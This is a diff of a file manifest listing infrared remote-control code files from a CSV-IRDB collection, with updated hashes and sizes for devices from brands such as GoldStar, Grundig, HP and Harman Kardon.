+F:649fad2a983bd8d59ee798152317fd83:306:infrared/_CSV-IRDB_/General Instrument/Satellite/1,-1.ir +F:252299cbff73b58d026c4f278f299e00:4667:infrared/_CSV-IRDB_/General Instrument/Satellite/130,110.ir D:infrared/_CSV-IRDB_/General Instruments/Unknown_550 D:infrared/_CSV-IRDB_/General Instruments/Unknown_XRC-200 -F:adedf03a111eadd09bc4d095c2bbf740:2607:infrared/_CSV-IRDB_/General Instruments/Unknown_550/-1,-1.ir -F:1e4a53e4b41f6f8faf52343a789dab77:7945:infrared/_CSV-IRDB_/General Instruments/Unknown_XRC-200/0,-1.ir +F:afe1bfb58eac7197c03f692be32313f6:2443:infrared/_CSV-IRDB_/General Instruments/Unknown_550/-1,-1.ir +F:f8a28999f2eef2003be2f569187ff016:7439:infrared/_CSV-IRDB_/General Instruments/Unknown_XRC-200/0,-1.ir D:infrared/_CSV-IRDB_/Genesis/Theater in Box -F:c488f4c83a68d716f413ece1cb617e84:4195:infrared/_CSV-IRDB_/Genesis/Theater in Box/0,-1.ir +F:150d48871698ecc4d7b9416ea81aeded:3917:infrared/_CSV-IRDB_/Genesis/Theater in Box/0,-1.ir D:infrared/_CSV-IRDB_/Geniatech/Unknown_Supera -F:f21298ce5311679ba8b3320c81f77406:3205:infrared/_CSV-IRDB_/Geniatech/Unknown_Supera/0,-1.ir +F:67c11f961d74cc870e82414cb224901a:2999:infrared/_CSV-IRDB_/Geniatech/Unknown_Supera/0,-1.ir D:infrared/_CSV-IRDB_/Genius/Unknown_Genius-DVB-T32 -F:5f96367d7c648658af4981a0ca8977dd:3162:infrared/_CSV-IRDB_/Genius/Unknown_Genius-DVB-T32/5,-1.ir +F:08b0cba8f2deb1ee416888b968318be8:2962:infrared/_CSV-IRDB_/Genius/Unknown_Genius-DVB-T32/5,-1.ir D:infrared/_CSV-IRDB_/Genus/Unknown_DU1 -F:ea93e89fee3e03826dfd9eafab665e07:2388:infrared/_CSV-IRDB_/Genus/Unknown_DU1/128,-1.ir +F:1e2344d405c852125e7bc44af1077cf8:2236:infrared/_CSV-IRDB_/Genus/Unknown_DU1/128,-1.ir D:infrared/_CSV-IRDB_/Gericom/Plasma -F:33fc5c70fefd26704de326c97b5b5821:5440:infrared/_CSV-IRDB_/Gericom/Plasma/3,-1.ir +F:143fd1a2194c859243983b663c7d0046:5084:infrared/_CSV-IRDB_/Gericom/Plasma/3,-1.ir D:infrared/_CSV-IRDB_/Get/Unknown_gethdpvr -F:62ed5b5f9ef974070ce96950fb134310:4309:infrared/_CSV-IRDB_/Get/Unknown_gethdpvr/72,36.ir +F:3fe8acfdb26192bd57da87e30698cb06:4037:infrared/_CSV-IRDB_/Get/Unknown_gethdpvr/72,36.ir D:infrared/_CSV-IRDB_/Gigabyte/Unknown_TV -F:4e2dde7bbb44a48fb950be25a33d6554:2686:infrared/_CSV-IRDB_/Gigabyte/Unknown_TV/134,107.ir +F:a9961c468fa61abd27e960a67de6c0cd:2516:infrared/_CSV-IRDB_/Gigabyte/Unknown_TV/134,107.ir D:infrared/_CSV-IRDB_/Go Video/DVD Recorder D:infrared/_CSV-IRDB_/Go Video/VCR -F:72c6659552ca87132c4b7d4de666908e:3364:infrared/_CSV-IRDB_/Go Video/DVD Recorder/10,247.ir -F:fbacbcb88143d261eabd25a9f9fc64b0:3041:infrared/_CSV-IRDB_/Go Video/VCR/132,98.ir -F:6f00dae4d12e53ee3a183a8f170449a5:5902:infrared/_CSV-IRDB_/Go Video/VCR/5,5.ir -F:39ed48466f3698659b0edac259d22a7c:229:infrared/_CSV-IRDB_/Go Video/VCR/7,7.ir +F:79437d64144649e3adc9309680c805e2:3146:infrared/_CSV-IRDB_/Go Video/DVD Recorder/10,247.ir +F:116327c8f05d1c05899644b55fa8fc59:2847:infrared/_CSV-IRDB_/Go Video/VCR/132,98.ir +F:f8302f4bee4f1da28c3cd246280f0b7b:5522:infrared/_CSV-IRDB_/Go Video/VCR/5,5.ir +F:1354538268db945ce7914c07de89284a:215:infrared/_CSV-IRDB_/Go Video/VCR/7,7.ir D:infrared/_CSV-IRDB_/GoldStar/Unknown_GOLDSTAR D:infrared/_CSV-IRDB_/GoldStar/Unknown_Goldstar-VCR D:infrared/_CSV-IRDB_/GoldStar/Unknown_RN800AW D:infrared/_CSV-IRDB_/GoldStar/Unknown_VCR D:infrared/_CSV-IRDB_/GoldStar/Unknown_cd D:infrared/_CSV-IRDB_/GoldStar/VCR -F:5eccb18b37628fb00b24aa87a6ef4531:2375:infrared/_CSV-IRDB_/GoldStar/Unknown_GOLDSTAR/4,-1.ir -F:28dd3d9153f28c1781140b3658ddfd21:2378:infrared/_CSV-IRDB_/GoldStar/Unknown_Goldstar-VCR/110,-1.ir -F:c58577ee8ee904d17f1a80e263cee745:1180:infrared/_CSV-IRDB_/GoldStar/Unknown_RN800AW/110,-1.ir -F:f37462d2387a1d2cbf305633e5e0e4d9:2293:infrared/_CSV-IRDB_/GoldStar/Unknown_VCR/110,-1.ir -F:678cb54941a2a45a1ffc62a98626c8d9:2109:infrared/_CSV-IRDB_/GoldStar/Unknown_cd/16,16.ir -F:bcd7e51c56884c8edd4a634fe901867e:1857:infrared/_CSV-IRDB_/GoldStar/VCR/110,-1.ir +F:3cefbbc9c4aa40914a78666378d90aa3:2223:infrared/_CSV-IRDB_/GoldStar/Unknown_GOLDSTAR/4,-1.ir +F:c9e70244cc427e4ec7af2e0fc4ce88ba:2226:infrared/_CSV-IRDB_/GoldStar/Unknown_Goldstar-VCR/110,-1.ir +F:b5c59b8f55a67d36736013a95a2035e7:1106:infrared/_CSV-IRDB_/GoldStar/Unknown_RN800AW/110,-1.ir +F:1c9a07587af8ee0e574c1793598dfab9:2147:infrared/_CSV-IRDB_/GoldStar/Unknown_VCR/110,-1.ir +F:85c4b4beee1bbd4a2f0267264eff37ce:1975:infrared/_CSV-IRDB_/GoldStar/Unknown_cd/16,16.ir +F:9ffff727ff5583a8fb362579f2b47388:1735:infrared/_CSV-IRDB_/GoldStar/VCR/110,-1.ir D:infrared/_CSV-IRDB_/Golden Interstar/Sat D:infrared/_CSV-IRDB_/Golden Interstar/Unknown_Interstar -F:f0e4fb17087e4a86cd4cfdf84dd6c698:3784:infrared/_CSV-IRDB_/Golden Interstar/Sat/128,255.ir -F:76f9b51e9da4c2066354265546356294:3894:infrared/_CSV-IRDB_/Golden Interstar/Unknown_Interstar/4,16.ir +F:d754bc4d0e8b807255e5ea14b22a947e:3536:infrared/_CSV-IRDB_/Golden Interstar/Sat/128,255.ir +F:11f933ba93f9111bb18cae2ab0dfffad:3646:infrared/_CSV-IRDB_/Golden Interstar/Unknown_Interstar/4,16.ir D:infrared/_CSV-IRDB_/Goldmund/CD Player -F:0cd545c0884160686bb49fb2407116a4:694:infrared/_CSV-IRDB_/Goldmund/CD Player/20,-1.ir +F:fe3f488701db706a98158548dd5ecdfb:650:infrared/_CSV-IRDB_/Goldmund/CD Player/20,-1.ir D:infrared/_CSV-IRDB_/Goodmans/Unknown_GDB D:infrared/_CSV-IRDB_/Goodmans/Unknown_GDVD124 D:infrared/_CSV-IRDB_/Goodmans/Unknown_RC-BM D:infrared/_CSV-IRDB_/Goodmans/Unknown_md305 -F:bc951c3d9b25422d0d3f45b7397dbfed:3165:infrared/_CSV-IRDB_/Goodmans/Unknown_GDB/8,-1.ir -F:41f174c34ca5268ace96699fd4d7b306:4093:infrared/_CSV-IRDB_/Goodmans/Unknown_GDVD124/0,-1.ir -F:98e61ef1432d2fe8c81339af4325e923:3368:infrared/_CSV-IRDB_/Goodmans/Unknown_RC-BM/128,123.ir -F:21346722b59191d2c6ec6d7c3427589b:3050:infrared/_CSV-IRDB_/Goodmans/Unknown_md305/135,108.ir +F:e802b7362b6b0540cd3c16588e0e10c0:2965:infrared/_CSV-IRDB_/Goodmans/Unknown_GDB/8,-1.ir +F:85f1c71ebe2a50c004f4817dfb75bd24:3833:infrared/_CSV-IRDB_/Goodmans/Unknown_GDVD124/0,-1.ir +F:344c7307347ad1862ee6f7b7d3b744ff:3156:infrared/_CSV-IRDB_/Goodmans/Unknown_RC-BM/128,123.ir +F:bb06ca05b08c84eb9c348f038b22e371:2856:infrared/_CSV-IRDB_/Goodmans/Unknown_md305/135,108.ir D:infrared/_CSV-IRDB_/Govideo/Unknown_GoVideoD2730 -F:ad07987ffc79e74c71fe16280472c0fb:4216:infrared/_CSV-IRDB_/Govideo/Unknown_GoVideoD2730/8,230.ir +F:1188cefb8f527a7ef90ef0a76c19edfb:3950:infrared/_CSV-IRDB_/Govideo/Unknown_GoVideoD2730/8,230.ir D:infrared/_CSV-IRDB_/Gradiente/Unknown_D-10 D:infrared/_CSV-IRDB_/Gradiente/Unknown_GSD-100 -F:5c957a428bbceef6bab0db267dde0223:2960:infrared/_CSV-IRDB_/Gradiente/Unknown_D-10/5,-1.ir -F:5a96390edddfe296699723a00c7d1e79:2499:infrared/_CSV-IRDB_/Gradiente/Unknown_GSD-100/132,60.ir +F:0410ba9b80896959992ba94bf34cf4e1:2772:infrared/_CSV-IRDB_/Gradiente/Unknown_D-10/5,-1.ir +F:bc6c50afde36fa7ed383b649b3db5c53:2341:infrared/_CSV-IRDB_/Gradiente/Unknown_GSD-100/132,60.ir D:infrared/_CSV-IRDB_/Gran Prix/Unknown_prix -F:75a87b24d1cb12d284310c4a7cd3e8ee:3525:infrared/_CSV-IRDB_/Gran Prix/Unknown_prix/0,-1.ir +F:36af617e3265e245891de17252cdb012:3301:infrared/_CSV-IRDB_/Gran Prix/Unknown_prix/0,-1.ir D:infrared/_CSV-IRDB_/Grand Tech/Cable Box -F:c9cd3490bc6e79f548307bca1ede0751:1938:infrared/_CSV-IRDB_/Grand Tech/Cable Box/2,-1.ir +F:63e994000400457b8f55fd8342c1d4f2:1810:infrared/_CSV-IRDB_/Grand Tech/Cable Box/2,-1.ir D:infrared/_CSV-IRDB_/Griffin/iPod -F:dc0abdf6808774d05c02c9fbe21455de:1571:infrared/_CSV-IRDB_/Griffin/iPod/212,190.ir +F:86c7b531fa80195a718e362438eaa855:1473:infrared/_CSV-IRDB_/Griffin/iPod/212,190.ir D:infrared/_CSV-IRDB_/Grundig/Satellite D:infrared/_CSV-IRDB_/Grundig/TV D:infrared/_CSV-IRDB_/Grundig/Unknown_2500S @@ -2733,29 +2733,29 @@ D:infrared/_CSV-IRDB_/Grundig/Unknown_UMS9V D:infrared/_CSV-IRDB_/Grundig/Unknown_rp700 D:infrared/_CSV-IRDB_/Grundig/Unknown_tp621 D:infrared/_CSV-IRDB_/Grundig/Video Recorder -F:05d9c1913bb74d26996bac7f5578d06f:126:infrared/_CSV-IRDB_/Grundig/Satellite/1,-1.ir -F:3193a3f29696e8584a8412b89c67d9ae:1033:infrared/_CSV-IRDB_/Grundig/Satellite/2,-1.ir -F:e9fb6bf9480ed5faae0e653e904d8060:127:infrared/_CSV-IRDB_/Grundig/Satellite/8,-1.ir -F:343949ed0113c38d4bec199b5ebcd002:3216:infrared/_CSV-IRDB_/Grundig/TV/0,-1.ir -F:8d2a50fa9a7fab2a040fc8f0f3113b33:2833:infrared/_CSV-IRDB_/Grundig/Unknown_2500S/10,-1.ir -F:3e74ccae6db84ecee13dd5bf7e94e7ba:4113:infrared/_CSV-IRDB_/Grundig/Unknown_84D/128,-1.ir -F:488896c326eeaa32ad1d5ad53c21d3f3:2693:infrared/_CSV-IRDB_/Grundig/Unknown_CDM700.cfg/162,162.ir -F:9357b7df55b90a71d227b864623a12ca:3679:infrared/_CSV-IRDB_/Grundig/Unknown_Grundig-TP660/0,-1.ir -F:0f28923438924dfbe72780433812259b:3813:infrared/_CSV-IRDB_/Grundig/Unknown_RC-TP3/8,-1.ir -F:62d37381fe4c49e6233f1271efc5be28:2276:infrared/_CSV-IRDB_/Grundig/Unknown_RC8400CD/20,-1.ir -F:1c31d1931b6bc8ba09be0b4cb13ada19:2730:infrared/_CSV-IRDB_/Grundig/Unknown_RP/5,-1.ir -F:579c963fb49cb925abf2574a5f48cd14:2954:infrared/_CSV-IRDB_/Grundig/Unknown_TP/0,-1.ir -F:5a22761b4ad0e7ef2cd9b25f7c470596:2682:infrared/_CSV-IRDB_/Grundig/Unknown_TP-750C/0,-1.ir -F:3411d5fa5cabc9a6e6539cace0261f82:1851:infrared/_CSV-IRDB_/Grundig/Unknown_UMS9V/162,162.ir -F:c23f7e93e2518e7d09fa9d0a7ca43e4f:2575:infrared/_CSV-IRDB_/Grundig/Unknown_rp700/5,-1.ir -F:e2bd3ad99531d4d2d9a5fd1b583ac5a7:4485:infrared/_CSV-IRDB_/Grundig/Unknown_tp621/1,-1.ir -F:ee6cc67986d100b09fd8fad2c33b565f:2116:infrared/_CSV-IRDB_/Grundig/Video Recorder/127,-1.ir +F:b6b5b624a8d8b7882d9cf44cba74086f:118:infrared/_CSV-IRDB_/Grundig/Satellite/1,-1.ir +F:3bb57a7b17d0123b469b5861b4b97a7c:965:infrared/_CSV-IRDB_/Grundig/Satellite/2,-1.ir +F:2b625e598648fe894cd4022efd50d90b:119:infrared/_CSV-IRDB_/Grundig/Satellite/8,-1.ir +F:a08fae6e0c60af3bd9b452830345505d:3010:infrared/_CSV-IRDB_/Grundig/TV/0,-1.ir +F:31d1aab941e48ec3667cfbd81a61bb6f:2651:infrared/_CSV-IRDB_/Grundig/Unknown_2500S/10,-1.ir +F:91837817a930c8fe31b17eac25cc46f2:3853:infrared/_CSV-IRDB_/Grundig/Unknown_84D/128,-1.ir +F:a217f2fa464d9150ca6064bea8da416a:2523:infrared/_CSV-IRDB_/Grundig/Unknown_CDM700.cfg/162,162.ir +F:eb9f438f7238f425eb5e8b47efed60ff:3431:infrared/_CSV-IRDB_/Grundig/Unknown_Grundig-TP660/0,-1.ir +F:85e88eae499f2204ce339fd81633588a:3571:infrared/_CSV-IRDB_/Grundig/Unknown_RC-TP3/8,-1.ir +F:da58296668accfe04c9a5d0ee19e6e9f:2130:infrared/_CSV-IRDB_/Grundig/Unknown_RC8400CD/20,-1.ir +F:a0aafbd30bce5e8cfb5b3dc02a6692e8:2554:infrared/_CSV-IRDB_/Grundig/Unknown_RP/5,-1.ir +F:cdd030c937aa0f4bff6e17d0bc46017c:2760:infrared/_CSV-IRDB_/Grundig/Unknown_TP/0,-1.ir +F:21a5200020c360853b468102a17508fa:2512:infrared/_CSV-IRDB_/Grundig/Unknown_TP-750C/0,-1.ir +F:314ae601cd9862a27f322342a13eb262:1735:infrared/_CSV-IRDB_/Grundig/Unknown_UMS9V/162,162.ir +F:cfb69875a7c2323c8acbd4828ff021c6:2411:infrared/_CSV-IRDB_/Grundig/Unknown_rp700/5,-1.ir +F:fad760558b46bc36e061d3508e01116c:4183:infrared/_CSV-IRDB_/Grundig/Unknown_tp621/1,-1.ir +F:174504fa7bf7463dbc0454dc8cfcdbb1:1976:infrared/_CSV-IRDB_/Grundig/Video Recorder/127,-1.ir D:infrared/_CSV-IRDB_/Gryphon/Integrated Amplifier -F:d07c557e1bbef78a3ebf49b2ce38131e:606:infrared/_CSV-IRDB_/Gryphon/Integrated Amplifier/16,-1.ir +F:6042327e4c3f30abe0751ff4db91535c:568:infrared/_CSV-IRDB_/Gryphon/Integrated Amplifier/16,-1.ir D:infrared/_CSV-IRDB_/Guillemot/Unknown_RemoteWizard-GN-263 -F:13c227598c953ed0d2800c2d6a1fcfe3:2820:infrared/_CSV-IRDB_/Guillemot/Unknown_RemoteWizard-GN-263/134,107.ir +F:ba7703f427b7587b0cca47325e0b578a:2644:infrared/_CSV-IRDB_/Guillemot/Unknown_RemoteWizard-GN-263/134,107.ir D:infrared/_CSV-IRDB_/HB/Unknown_DIGITAL -F:5801d757cdfb9e6989b018bb79c5a4c7:2752:infrared/_CSV-IRDB_/HB/Unknown_DIGITAL/0,-1.ir +F:34d463633840064f711f5c9693e27708:2576:infrared/_CSV-IRDB_/HB/Unknown_DIGITAL/0,-1.ir D:infrared/_CSV-IRDB_/HP/Unknown_465539-002 D:infrared/_CSV-IRDB_/HP/Unknown_DV4-1125NR D:infrared/_CSV-IRDB_/HP/Unknown_DV6331 @@ -2764,24 +2764,24 @@ D:infrared/_CSV-IRDB_/HP/Unknown_RC172308-01B D:infrared/_CSV-IRDB_/HP/Unknown_RC1762302-00 D:infrared/_CSV-IRDB_/HP/Unknown_RC1762307-01 D:infrared/_CSV-IRDB_/HP/Unknown_RC2234302-01B -F:a2e3a5729243b7994fb65add6b75b16b:1976:infrared/_CSV-IRDB_/HP/Unknown_465539-002/4,15.ir -F:b9625a1d4cebacadced3297bd46ec06d:2260:infrared/_CSV-IRDB_/HP/Unknown_DV4-1125NR/4,15.ir -F:86e8b805c9f1fd5b61b29ff50679bf56:2284:infrared/_CSV-IRDB_/HP/Unknown_DV6331/4,17.ir -F:1eff13572fd19447d597ba3fd139f5c8:4319:infrared/_CSV-IRDB_/HP/Unknown_Pavilion/4,15.ir -F:c75bd47afb027d3a07c319b51eef7634:2261:infrared/_CSV-IRDB_/HP/Unknown_RC172308-01B/4,15.ir -F:3257306d21a9a14c05403ccc7a62cf96:2177:infrared/_CSV-IRDB_/HP/Unknown_RC1762302-00/4,17.ir -F:cfdda527d8e8869782e8cde68cac7a7c:2276:infrared/_CSV-IRDB_/HP/Unknown_RC1762307-01/4,15.ir -F:922bcb9daf166ecb17a5cd636a4c4efb:4150:infrared/_CSV-IRDB_/HP/Unknown_RC2234302-01B/4,15.ir +F:0e91b21031b2b4ed2086b86b3169c80e:1854:infrared/_CSV-IRDB_/HP/Unknown_465539-002/4,15.ir +F:14d73bb2deaff9737329a0b26ccd756a:2120:infrared/_CSV-IRDB_/HP/Unknown_DV4-1125NR/4,15.ir +F:e785855e0f9f7413c7b6ccace543430e:2144:infrared/_CSV-IRDB_/HP/Unknown_DV6331/4,17.ir +F:1c4d5261c353a5ad8b98b0b89a3ba8ed:4047:infrared/_CSV-IRDB_/HP/Unknown_Pavilion/4,15.ir +F:93173107227ae9dd6bb97d73e03cb7ab:2121:infrared/_CSV-IRDB_/HP/Unknown_RC172308-01B/4,15.ir +F:c5170fd2e2f1d981d3279fb70a69ffe0:2043:infrared/_CSV-IRDB_/HP/Unknown_RC1762302-00/4,17.ir +F:b3bc8e918ad05aa9b5966f7833ad51a3:2136:infrared/_CSV-IRDB_/HP/Unknown_RC1762307-01/4,15.ir +F:9424e5941e8ddfba4a63f425480fc172:3890:infrared/_CSV-IRDB_/HP/Unknown_RC2234302-01B/4,15.ir D:infrared/_CSV-IRDB_/HQ/Unknown_RC -F:98410cce2913e6ddb01ea50bdb64fd14:2777:infrared/_CSV-IRDB_/HQ/Unknown_RC/0,-1.ir +F:05f453b4fa4cc432f70b75e2e2cafbf5:2601:infrared/_CSV-IRDB_/HQ/Unknown_RC/0,-1.ir D:infrared/_CSV-IRDB_/HQV/Video Processor -F:bf4f9c705c80255bb7eb62d73da4a13d:1869:infrared/_CSV-IRDB_/HQV/Video Processor/128,-1.ir +F:5429a3dc330f21cc3ccc92155ce12080:1747:infrared/_CSV-IRDB_/HQV/Video Processor/128,-1.ir D:infrared/_CSV-IRDB_/Hama/Unknown_Internet D:infrared/_CSV-IRDB_/Hama/Unknown_PhotoPlayer -F:d7564996181fc536b6ea4b60badf43e0:2587:infrared/_CSV-IRDB_/Hama/Unknown_Internet/0,-1.ir -F:d860309c4e5eb58cbe90fdcce40983e7:2331:infrared/_CSV-IRDB_/Hama/Unknown_PhotoPlayer/134,107.ir +F:5602483bc26bc7f5064ea7267e4c2d21:2423:infrared/_CSV-IRDB_/Hama/Unknown_Internet/0,-1.ir +F:deab634b2f4fd4935c298e50fa6acf37:2185:infrared/_CSV-IRDB_/Hama/Unknown_PhotoPlayer/134,107.ir D:infrared/_CSV-IRDB_/Hampton Bay/Unknown_Bay -F:9a048ac92dd493a127d2d1c775c294d4:707:infrared/_CSV-IRDB_/Hampton Bay/Unknown_Bay/129,102.ir +F:f49dc97c21e2568b61d5d3ed7df4e25f:663:infrared/_CSV-IRDB_/Hampton Bay/Unknown_Bay/129,102.ir D:infrared/_CSV-IRDB_/Harman Kardon/Amplifier D:infrared/_CSV-IRDB_/Harman Kardon/Blu-Ray D:infrared/_CSV-IRDB_/Harman Kardon/CD Changer @@ -2801,92 +2801,92 @@ D:infrared/_CSV-IRDB_/Harman Kardon/Unknown_Kardon-DVD D:infrared/_CSV-IRDB_/Harman Kardon/Unknown_harmankardon D:infrared/_CSV-IRDB_/Harman Kardon/Video Projector D:infrared/_CSV-IRDB_/Harman Kardon/iPod -F:ed93a0725ce8effa6d2a708b940332d9:953:infrared/_CSV-IRDB_/Harman Kardon/Amplifier/128,112.ir -F:58b331b04ced5538eb8ff4f65c03a93a:322:infrared/_CSV-IRDB_/Harman Kardon/Amplifier/130,114.ir -F:530974757adb3225f56651301004d0b2:4183:infrared/_CSV-IRDB_/Harman Kardon/Blu-Ray/132,116.ir -F:269f5e4083dfe36e4007bdfd92a0f4b9:2775:infrared/_CSV-IRDB_/Harman Kardon/CD Changer/128,112.ir -F:82e0f95ab17b71abbb8dc172bdd344e3:1776:infrared/_CSV-IRDB_/Harman Kardon/CD Player/0,-1.ir -F:a6f48641e88e49eda921cd45f150c529:9043:infrared/_CSV-IRDB_/Harman Kardon/CD Player/128,112.ir -F:b70d0dbeeab26ae211d9aa41123b03ce:5165:infrared/_CSV-IRDB_/Harman Kardon/CD Player/131,74.ir -F:eebc5ef281aa435160d68b12ed28ac6c:507:infrared/_CSV-IRDB_/Harman Kardon/CD-R/128,112.ir -F:8eae536dc2087ed80cbf975d1420e82a:1359:infrared/_CSV-IRDB_/Harman Kardon/Cassette Tape/130,114.ir -F:1a604c23bd36d8373551da5e2229b64e:11259:infrared/_CSV-IRDB_/Harman Kardon/DVD Player/130,114.ir -F:9d05fe1118a22faff3d27963b365da1e:3013:infrared/_CSV-IRDB_/Harman Kardon/Pre-Amplifier/128,112.ir -F:13fe304ee196e9d233d61b0a4711686c:834:infrared/_CSV-IRDB_/Harman Kardon/Pre-Amplifier/130,114.ir -F:9bc30f1310bed2d2e2adaabbdfd73224:31172:infrared/_CSV-IRDB_/Harman Kardon/Receiver/128,112.ir -F:71ecfe2952a1d692f64b8c347287ea41:27257:infrared/_CSV-IRDB_/Harman Kardon/Receiver/130,114.ir -F:e129cbf52e24d4721cc9f59d4f4c0d3b:710:infrared/_CSV-IRDB_/Harman Kardon/Receiver/132,116.ir -F:9339993999745c91fd6d1374dd067bdc:4313:infrared/_CSV-IRDB_/Harman Kardon/Receiver/132,66.ir -F:28f9aed841d7b3edd3a3a86a18cb7b0e:3221:infrared/_CSV-IRDB_/Harman Kardon/Receiver/134,118.ir -F:b4a8d791b5652e50fa0dfc55a71d8986:650:infrared/_CSV-IRDB_/Harman Kardon/Receiver/161,-1.ir -F:a2f1b90f4f082f8dcc2765381d67dc92:215:infrared/_CSV-IRDB_/Harman Kardon/Receiver/164,-1.ir -F:b18ff57298e32799340eb21391f8fbe5:615:infrared/_CSV-IRDB_/Harman Kardon/Receiver/4,-1.ir -F:0a9ece1d1fe70f03cab31d409b9dc97d:619:infrared/_CSV-IRDB_/Harman Kardon/Receiver/40,-1.ir -F:362984148d299a54f28edb0e882cab90:129:infrared/_CSV-IRDB_/Harman Kardon/Receiver/7,-1.ir -F:244f730a5e902fa2f5aacd91fe0ccb9e:128:infrared/_CSV-IRDB_/Harman Kardon/Surround Processor/0,-1.ir -F:1e4c37e563050b082764da8d6317e81f:131:infrared/_CSV-IRDB_/Harman Kardon/Surround Processor/12,-1.ir -F:923f10f6a8732ca68c9e8f103ca37700:6064:infrared/_CSV-IRDB_/Harman Kardon/Surround Processor/128,112.ir -F:05c6ad711e93aca40775fe994b07557c:4478:infrared/_CSV-IRDB_/Harman Kardon/Surround Processor/130,114.ir -F:bb01ac3bc0f70d027a75d82254cbb19c:774:infrared/_CSV-IRDB_/Harman Kardon/Surround Processor/16,-1.ir -F:13fbdfa07be4abb81363c5f0585bd330:403:infrared/_CSV-IRDB_/Harman Kardon/Surround Processor/17,-1.ir -F:15bf48eb8063bad67417ee06ae375ecf:130:infrared/_CSV-IRDB_/Harman Kardon/Surround Processor/18,-1.ir -F:1e9cfb2c46dfe6d70ad1b26fb5ce464b:128:infrared/_CSV-IRDB_/Harman Kardon/Surround Processor/20,-1.ir -F:ac1f7cb7b5f35f5c9537f019421284d7:129:infrared/_CSV-IRDB_/Harman Kardon/Surround Processor/23,-1.ir -F:c40e030f3d9b1e461491e03c3dee0056:1011:infrared/_CSV-IRDB_/Harman Kardon/Surround Processor/5,-1.ir -F:fc5d4e739f624437aa21fcef37cd4d58:131:infrared/_CSV-IRDB_/Harman Kardon/Surround Processor/6,-1.ir -F:23ba0c3519efc33308d405f9941c6dea:413:infrared/_CSV-IRDB_/Harman Kardon/Surround Processor/64,-1.ir -F:4eb79c11086c3b162d5786f85c1694e4:2523:infrared/_CSV-IRDB_/Harman Kardon/Surround Receiver/128,112.ir -F:1414757e02354d34de006fd3c52a4f8e:2318:infrared/_CSV-IRDB_/Harman Kardon/Surround Receiver/130,114.ir -F:689372ccb2f005e6b635ed3f9a39c8c4:1686:infrared/_CSV-IRDB_/Harman Kardon/Tuner/0,-1.ir -F:400aee2fe1e594d1ad0f532de53f79a2:6029:infrared/_CSV-IRDB_/Harman Kardon/Tuner/128,112.ir -F:467f8de893c2396a506da6e577445637:3366:infrared/_CSV-IRDB_/Harman Kardon/Tuner/130,114.ir -F:8eae536dc2087ed80cbf975d1420e82a:1359:infrared/_CSV-IRDB_/Harman Kardon/Unknown/130,114.ir -F:59a76eb8ce1f96dbc36527badd6128b1:4100:infrared/_CSV-IRDB_/Harman Kardon/Unknown_DVD/130,114.ir -F:a92ff148f9245a2ee9e33350a4832d4f:2599:infrared/_CSV-IRDB_/Harman Kardon/Unknown_HD730/131,74.ir -F:45a2583845fd189ca0c021623ac97734:4093:infrared/_CSV-IRDB_/Harman Kardon/Unknown_Kardon-DVD/130,114.ir -F:9073b9b7c2a631c7470c7f602c18526e:2846:infrared/_CSV-IRDB_/Harman Kardon/Unknown_harmankardon/128,112.ir -F:384fa4d05d91e5327f93a95387ed4edf:2010:infrared/_CSV-IRDB_/Harman Kardon/Video Projector/0,-1.ir -F:7e357ff393e854baae18bbbea4fecdbe:2135:infrared/_CSV-IRDB_/Harman Kardon/Video Projector/1,-1.ir -F:0401e926088e2d13e22cae85eb56ef86:1866:infrared/_CSV-IRDB_/Harman Kardon/Video Projector/30,-1.ir -F:8655b396cf602f7c0c705696853a86bb:130:infrared/_CSV-IRDB_/Harman Kardon/Video Projector/7,0.ir -F:1364b59edd24b76cf9f5faca8ee4896b:795:infrared/_CSV-IRDB_/Harman Kardon/iPod/130,114.ir +F:62a26a3a5c29e6c5b1c4ccc1c26fc51f:891:infrared/_CSV-IRDB_/Harman Kardon/Amplifier/128,112.ir +F:65a8c81981f15254ca94e571dece5398:302:infrared/_CSV-IRDB_/Harman Kardon/Amplifier/130,114.ir +F:89c04b8b848f846b45cde51ee6e4a323:3917:infrared/_CSV-IRDB_/Harman Kardon/Blu-Ray/132,116.ir +F:c607f65ad2f7befb09280a43cbce370d:2593:infrared/_CSV-IRDB_/Harman Kardon/CD Changer/128,112.ir +F:3d545c18a21e5f18f0dd8fcc64323c99:1660:infrared/_CSV-IRDB_/Harman Kardon/CD Player/0,-1.ir +F:d08ed1d587036ac48e953827a1c37822:8453:infrared/_CSV-IRDB_/Harman Kardon/CD Player/128,112.ir +F:7e1c2bfd1b674f45f5c8f3d350cfc9b2:4827:infrared/_CSV-IRDB_/Harman Kardon/CD Player/131,74.ir +F:a1a65093e09b9364f642515f0ad5581c:475:infrared/_CSV-IRDB_/Harman Kardon/CD-R/128,112.ir +F:959c55435d8aa0316d2f7de49f7ae419:1273:infrared/_CSV-IRDB_/Harman Kardon/Cassette Tape/130,114.ir +F:01b9e9daa621b4df394b23499be04623:10531:infrared/_CSV-IRDB_/Harman Kardon/DVD Player/130,114.ir +F:a78f91e814f559c8b90552861d8113cc:2819:infrared/_CSV-IRDB_/Harman Kardon/Pre-Amplifier/128,112.ir +F:6292ec8e627f7af0b8890ef314ec26d9:784:infrared/_CSV-IRDB_/Harman Kardon/Pre-Amplifier/130,114.ir +F:a2ed6b6bcfb9f2e9d75602ac5dec9e39:29208:infrared/_CSV-IRDB_/Harman Kardon/Receiver/128,112.ir +F:d5135beb02cd5c3cdfb093ada8570730:25569:infrared/_CSV-IRDB_/Harman Kardon/Receiver/130,114.ir +F:2fcc8adc0e273a29e87c71833494f95c:666:infrared/_CSV-IRDB_/Harman Kardon/Receiver/132,116.ir +F:2b34a8a6f1dc2c1193d3486a715ab951:4041:infrared/_CSV-IRDB_/Harman Kardon/Receiver/132,66.ir +F:82c16f0ecd7c5975c4d1e282fc988405:3021:infrared/_CSV-IRDB_/Harman Kardon/Receiver/134,118.ir +F:a1cc0ff623edc284b1f46ff9a408ff5a:612:infrared/_CSV-IRDB_/Harman Kardon/Receiver/161,-1.ir +F:4fe2dc7f6555bd8f62276a8f1bb9aab7:201:infrared/_CSV-IRDB_/Harman Kardon/Receiver/164,-1.ir +F:b44247e6df17ca6a4a09d470510b497c:577:infrared/_CSV-IRDB_/Harman Kardon/Receiver/4,-1.ir +F:8bc3cb21c8113d1dc1ef88eb0fce03e5:581:infrared/_CSV-IRDB_/Harman Kardon/Receiver/40,-1.ir +F:5456df1a5a9135f8e140b3a6fa797ab2:121:infrared/_CSV-IRDB_/Harman Kardon/Receiver/7,-1.ir +F:6755e837456a2efa02982a432298c334:120:infrared/_CSV-IRDB_/Harman Kardon/Surround Processor/0,-1.ir +F:df22548e8ab5e9738c9c4a0bd870bf6d:123:infrared/_CSV-IRDB_/Harman Kardon/Surround Processor/12,-1.ir 